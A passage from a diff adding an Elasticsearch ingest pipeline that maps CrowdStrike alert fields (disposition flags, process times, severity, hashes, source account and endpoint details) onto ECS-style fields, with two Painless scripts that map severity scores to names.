+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition
+      tag: convert_pattern_disposition_to_long
+      target_field: crowdstrike.alert.pattern_disposition
+      type: long
+      if: ctx.json?.pattern_disposition != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.pattern_disposition_description
+      tag: rename_pattern_disposition_description
+      target_field: crowdstrike.alert.pattern_disposition_description
+      ignore_missing: true
+  - convert:
+      field: json.pattern_disposition_details.blocking_unsupported_or_disabled
+      tag: convert_pattern_disposition_details_blocking_unsupported_or_disabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.blocking_unsupported_or_disabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.bootup_safeguard_enabled
+      tag: convert_pattern_disposition_details_bootup_safeguard_enabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.bootup_safeguard_enabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.containment_file_system
+      tag: convert_pattern_disposition_details_containment_file_system_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.containment_file_system
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.containment_file_system != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.critical_process_disabled
+      tag: convert_pattern_disposition_details_critical_process_disabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.critical_process_disabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.critical_process_disabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.detect
+      tag: convert_pattern_disposition_details_detect_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.detect
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.detect != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.fs_operation_blocked
+      tag: convert_pattern_disposition_details_fs_operation_blocked_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.fs_operation_blocked
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.fs_operation_blocked != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.handle_operation_downgraded
+      tag: convert_pattern_disposition_details_handle_operation_downgraded_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.handle_operation_downgraded != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.inddet_mask
+      tag: convert_pattern_disposition_details_inddet_mask_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.inddet_mask
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.inddet_mask != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.indicator
+      tag: convert_pattern_disposition_details_indicator_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.indicator
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.indicator != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.kill_action_failed
+      tag: convert_pattern_disposition_details_kill_action_failed_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.kill_action_failed
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.kill_action_failed != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.kill_parent
+      tag: convert_pattern_disposition_details_kill_parent_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.kill_parent
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.kill_parent != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.kill_process
+      tag: convert_pattern_disposition_details_kill_process_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.kill_process
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.kill_process != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.kill_subprocess
+      tag: convert_pattern_disposition_details_kill_subprocess_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.kill_subprocess
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.kill_subprocess != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.mfa_required
+      tag: convert_pattern_disposition_details_mfa_required_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.mfa_required
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.mfa_required != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.operation_blocked
+      tag: convert_pattern_disposition_details_operation_blocked_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.operation_blocked
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.operation_blocked != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.policy_disabled
+      tag: convert_pattern_disposition_details_policy_disabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.policy_disabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.policy_disabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.prevention_provisioning_enabled
+      tag: convert_pattern_disposition_details_prevention_provisioning_enabled_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.prevention_provisioning_enabled != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.process_blocked
+      tag: convert_pattern_disposition_details_process_blocked_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.process_blocked
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.process_blocked != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.quarantine_file
+      tag: convert_pattern_disposition_details_quarantine_file_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.quarantine_file
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.quarantine_file != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.quarantine_machine
+      tag: convert_pattern_disposition_details_quarantine_machine_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.quarantine_machine
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.quarantine_machine != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.registry_operation_blocked
+      tag: convert_pattern_disposition_details_registry_operation_blocked_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.registry_operation_blocked
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.registry_operation_blocked != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.response_action_already_applied
+      tag: convert_pattern_disposition_details_response_action_already_applied_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.response_action_already_applied
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.response_action_already_applied != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.response_action_failed
+      tag: convert_pattern_disposition_details_response_action_failed_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.response_action_failed
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.response_action_failed != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.response_action_triggered
+      tag: convert_pattern_disposition_details_response_action_triggered_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.response_action_triggered
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.response_action_triggered != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.rooting
+      tag: convert_pattern_disposition_details_rooting_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.rooting
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.rooting != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.sensor_only
+      tag: convert_pattern_disposition_details_sensor_only_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.sensor_only
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.sensor_only != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.suspend_parent
+      tag: convert_pattern_disposition_details_suspend_parent_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.suspend_parent
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.suspend_parent != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_disposition_details.suspend_process
+      tag: convert_pattern_disposition_details_suspend_process_to_boolean
+      target_field: crowdstrike.alert.pattern_disposition_details.suspend_process
+      type: boolean
+      if: ctx.json?.pattern_disposition_details?.suspend_process != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.pattern_id
+      tag: convert_pattern_id_to_string
+      target_field: crowdstrike.alert.pattern_id
+      type: string
+      ignore_missing: true
+  - rename:
+      field: json.platform
+      tag: rename_platform
+      target_field: crowdstrike.alert.platform
+      ignore_missing: true
+  - rename:
+      field: json.poly_id
+      tag: rename_poly_id
+      target_field: crowdstrike.alert.poly_id
+      ignore_missing: true
+  - date:
+      field: json.process_end_time
+      tag: date_process_end_time
+      target_field: crowdstrike.alert.process_end_time
+      formats:
+        - UNIX
+        - UNIX_MS
+      if: ctx.json?.process_end_time != null && ctx.json.process_end_time != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: process.end
+      tag: set_process_end
+      copy_from: crowdstrike.alert.process_end_time
+      ignore_empty_value: true
+  - rename:
+      field: json.process_id
+      tag: rename_process_id
+      target_field: crowdstrike.alert.process_id
+      ignore_missing: true
+  - set:
+      field: process.entity_id
+      tag: set_process_entity_id
+      copy_from: crowdstrike.alert.process_id
+      ignore_empty_value: true
+  - convert:
+      field: crowdstrike.alert.process_id
+      tag: convert_alert_process_id_to_long
+      target_field: process.pid
+      type: long
+      ignore_missing: true
+      if: ctx.crowdstrike?.alert?.process_id != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: json.process_start_time
+      tag: date_process_start_time
+      target_field: crowdstrike.alert.process_start_time
+      formats:
+        - UNIX
+        - UNIX_MS
+      if: ctx.json?.process_start_time != null && ctx.json.process_start_time != ''
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: process.start
+      tag: set_process_start
+      copy_from: crowdstrike.alert.process_start_time
+      ignore_empty_value: true
+  - rename:
+      field: json.product
+      tag: rename_product
+      target_field: crowdstrike.alert.product
+      ignore_missing: true
+  - convert:
+      field: json.protocol_anomaly_classification
+      tag: convert_protocol_anomaly_classification_to_long
+      target_field: crowdstrike.alert.protocol_anomaly_classification
+      type: long
+      if: ctx.json?.protocol_anomaly_classification != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.quarantined
+      tag: convert_quarantined_to_boolean
+      target_field: crowdstrike.alert.quarantined
+      type: boolean
+      if: ctx.json?.quarantined != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.quarantined_files
+      tag: rename_quarantined_files
+      target_field: crowdstrike.alert.quarantined_files
+      ignore_missing: true
+  - foreach:
+      field: crowdstrike.alert.quarantined_files
+      if: ctx.crowdstrike?.alert?.quarantined_files instanceof List
+      ignore_failure: true
+      processor:
+        append:
+          field: related.hash
+          tag: append_quarantined_files_to_related_hash
+          value: '{{{_ingest._value.sha256}}}'
+          allow_duplicates: false
+  - rename:
+      field: json.scan_id
+      tag: rename_scan_id
+      target_field: crowdstrike.alert.scan_id
+      ignore_missing: true
+  - rename:
+      field: json.scenario
+      tag: rename_scenario
+      target_field: crowdstrike.alert.scenario
+      ignore_missing: true
+  - convert:
+      field: json.seconds_to_resolved
+      tag: convert_seconds_to_resolved_to_long
+      target_field: crowdstrike.alert.seconds_to_resolved
+      type: long
+      if: ctx.json?.seconds_to_resolved != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.seconds_to_triaged
+      tag: convert_seconds_to_triaged_to_long
+      target_field: crowdstrike.alert.seconds_to_triaged
+      type: long
+      if: ctx.json?.seconds_to_triaged != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: json.severity
+      tag: convert_severity_to_long
+      target_field: crowdstrike.alert.severity
+      type: long
+      if: ctx.json?.severity != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.severity_name
+      tag: rename_severity_name
+      target_field: crowdstrike.alert.severity_name
+      ignore_missing: true
+  - script:
+      lang: painless
+      description: Script to set event.severity.
+      tag: set_event_severity_from_severity
+      if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severity_name == null
+      source: |-
+        long severity = ctx.crowdstrike.alert.severity;
+        if (0 <= severity && severity < 20) {
+          ctx.crowdstrike.alert.severity_name = "info";
+        } else if (20 <= severity && severity < 40) {
+          ctx.crowdstrike.alert.severity_name = "low";
+        } else if (40 <= severity && severity < 60) {
+          ctx.crowdstrike.alert.severity_name = "medium";
+        } else if (60 <= severity && severity < 80) {
+          ctx.crowdstrike.alert.severity_name = "high";
+        } else if (80 <= severity && severity <= 100) {
+          ctx.crowdstrike.alert.severity_name = "critical";
+        }
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      lang: painless
+      description: Script to set event.severity.
+      tag: set_event_severity_from_severity_name
+      if: ctx.crowdstrike?.alert?.severity_name instanceof String
+      source: |-
+        ctx.event = ctx.event ?: [:];
+        String risk_score_value = ctx.crowdstrike.alert.severity_name;
+        if (risk_score_value.equalsIgnoreCase("low") || risk_score_value.equalsIgnoreCase("info") || risk_score_value.equalsIgnoreCase("informational")) {
+          ctx.event.severity = 21;
+        } else if (risk_score_value.equalsIgnoreCase("medium")) {
+          ctx.event.severity = 47;
+        } else if (risk_score_value.equalsIgnoreCase("high")) {
+          ctx.event.severity = 73;
+        } else if (risk_score_value.equalsIgnoreCase("critical")) {
+          ctx.event.severity = 99;
+        }
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.sha1
+      tag: rename_sha1
+      target_field: crowdstrike.alert.sha1
+      ignore_missing: true
+  - rename:
+      field: json.sha256
+      tag: rename_sha256
+      target_field: crowdstrike.alert.sha256
+      ignore_missing: true
+  - set:
+      field: process.hash.sha1
+      tag: set_process_hash_sha1
+      copy_from: crowdstrike.alert.sha1
+      ignore_empty_value: true
+  - set:
+      field: process.hash.sha256
+      tag: set_process_hash_sha256
+      copy_from: crowdstrike.alert.sha256
+      ignore_empty_value: true
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.alert.sha1}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.sha1 != null
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.alert.sha256}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.sha256 != null
+  - convert:
+      field: json.show_in_ui
+      tag: convert_show_in_ui_to_boolean
+      target_field: crowdstrike.alert.show_in_ui
+      type: boolean
+      if: ctx.json?.show_in_ui != ""
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.source_account_azure_id
+      tag: rename_source_account_azure_id
+      target_field: crowdstrike.alert.source.account_azure_id
+      ignore_missing: true
+  - set:
+      field: cloud.account.id
+      tag: set_cloud_account_id
+      copy_from: crowdstrike.alert.source.account_azure_id
+      ignore_empty_value: true
+  - rename:
+      field: json.source_account_domain
+      tag: rename_source_account_domain
+      target_field: crowdstrike.alert.source.account_domain
+      ignore_missing: true
+  - set:
+      field: source.user.domain
+      tag: set_source_user_domain_from_alert_source_account_domain
+      copy_from: crowdstrike.alert.source.account_domain
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      tag: append_source_user_domain_into_related_hosts
+      value: '{{{source.user.domain}}}'
+      allow_duplicates: false
+      if: ctx.source?.user?.domain != null
+  - rename:
+      field: json.source_account_name
+      tag: rename_source_account_name
+      target_field: crowdstrike.alert.source.account_name
+      ignore_missing: true
+  - set:
+      field: source.user.name
+      tag: set_source_user_name_from_alert_source_account_name
+      copy_from: crowdstrike.alert.source.account_name
+      ignore_empty_value: true
+  - append:
+      field: related.user
+      tag: append_source_domain_into_related_user
+      value: '{{{source.user.name}}}'
+      allow_duplicates: false
+      if: ctx.source?.user?.name != null
+  - rename:
+      field: json.source_account_object_guid
+      tag: rename_source_account_object_guid
+      target_field: crowdstrike.alert.source.account_object_guid
+      ignore_missing: true
+  - rename:
+      field: json.source_account_object_sid
+      tag: rename_source_account_object_sid
+      target_field: crowdstrike.alert.source.account_object_sid
+      ignore_missing: true
+  - rename:
+      field: json.source_account_sam_account_name
+      tag: rename_source_account_sam_account_name
+      target_field: crowdstrike.alert.source.account_sam_account_name
+      ignore_missing: true
+  - rename:
+      field: json.source_account_upn
+      tag: rename_source_account_upn
+      target_field: crowdstrike.alert.source.account_upn
+      ignore_missing: true
+  - append:
+      field: related.user
+      tag: append_crowdstrike_alert_source_account_upn_into_related_user
+      value: '{{{crowdstrike.alert.source.account_upn}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.source?.account_upn != null
+  - rename:
+      field: json.source_endpoint_account_object_guid
+      tag: rename_source_endpoint_account_object_guid
+      target_field: crowdstrike.alert.source.endpoint_account_object_guid
+      ignore_missing: true
+  - rename:
+      field: json.source_endpoint_account_object_sid
+      tag: rename_source_endpoint_account_object_sid
+      target_field: crowdstrike.alert.source.endpoint_account_object_sid
+      ignore_missing: true
+  - convert:
+      field: json.source_endpoint_address_ip4
+      tag: convert_source_endpoint_address_ip4_to_ip
+      target_field: crowdstrike.alert.source.endpoint_address_ip4
+      type: ip
+      if: ctx.json?.source_endpoint_address_ip4 != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - append:
+      field: related.ip
+      tag: append_crowdstrike_alert_source_endpoint_address_ip4_into_related_ip
+      value: '{{{crowdstrike.alert.source.endpoint_address_ip4}}}'
+      allow_duplicates: false
+      if: ctx.crowdstrike?.alert?.source?.endpoint_address_ip4 != null
+  - rename:
+      field: json.source_endpoint_host_name
+      tag: rename_source_endpoint_host_name
+      target_field: crowdstrike.alert.source.endpoint_host_name
+      ignore_missing: true
+  - set:
+      field: source.domain
+      tag: set_source_domain_from_alert_source_endpoint_host_name
+      copy_from: crowdstrike.alert.source.endpoint_host_name
+      ignore_empty_value: true
+  - append:
+      field: related.hosts
+      tag: append_source_domain_into_related_hosts
+      value: '{{{source.domain}}}'
+      allow_duplicates: false
+      if: ctx.source?.domain != null
+  - convert:
+      field: json.source_endpoint_ip_address
+      tag: convert_source_endpoint_ip_address_to_ip
+      target_field: crowdstrike.alert.source.endpoint_ip_address
+      type: ip
+      if: ctx.json?.source_endpoint_ip_address != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: source.ip
+      tag: set_source_ip_from_alert_source_endpoint_ip_address
+      copy_from: crowdstrike.alert.source.endpoint_ip_address
+      ignore_empty_value: true
+  - append:
+      field: related.ip
+      tag: append_source_ip_into_related_ip
+      value: '{{{source.ip}}}'
+      allow_duplicates: false
+      if: ctx.source?.ip != null
+  - convert:
+      field: json.source_endpoint_ip_reputation
+      tag: convert_source_endpoint_ip_reputation_to_long
+      target_field: crowdstrike.alert.source.endpoint_ip_reputation
+      type: long
+      if: ctx.json?.source_endpoint_ip_reputation != ''
+      ignore_missing: true
+      on_failure:
+        - append:
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - rename:
+      field: json.source_endpoint_sensor_id
+      tag: rename_source_endpoint_sensor_id
+      target_field: crowdstrike.alert.source.endpoint_sensor_id
+      ignore_missing: true
+  - convert:
